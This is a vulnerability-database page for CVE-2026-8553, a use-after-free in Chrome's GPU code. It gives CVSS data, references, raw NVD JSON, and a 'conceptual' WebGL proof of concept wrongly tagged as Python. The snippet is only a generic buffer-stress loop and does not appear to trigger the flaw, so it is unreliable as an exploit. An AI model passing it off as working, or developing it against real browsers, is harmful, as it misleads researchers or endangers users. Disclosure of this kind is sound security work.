CVE-2026-8553

Description

Use after free in GPU in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-8553 (Conceptual)
This HTML page attempts to trigger the UAF in GPU component.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8553 PoC</title>
</head>
<body>
    <script>
        // Attempt to trigger GPU interaction
        const canvas = document.createElement('canvas');
        const gl = canvas.getContext('webgl');

        if (gl) {
            // Simulate rendering operations that may lead to UAF
            // Note: Actual exploitation requires specific rendering sequence
            for (let i = 0; i < 1000; i++) {
                const buffer = gl.createBuffer();
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                // Complex buffer manipulation to stress GPU memory
                gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(100000), gl.DYNAMIC_DRAW);
                
                // Trigger potential free and reuse scenario
                if (i % 100 === 0) {
                    gl.deleteBuffer(buffer);
                    // Attempt reuse logic
                }
            }
            console.log('GPU interaction test completed.');
        } else {
            console.log('WebGL not supported.');
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8553
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8553
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8553/
[4] VulDB https://vuldb.com/cve/CVE-2026-8553
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/498715368

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8553", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:16.573", "lastModified": "2026-05-14T22:16:49.123", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in GPU in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/498715368", "source": "[email protected]"}]}}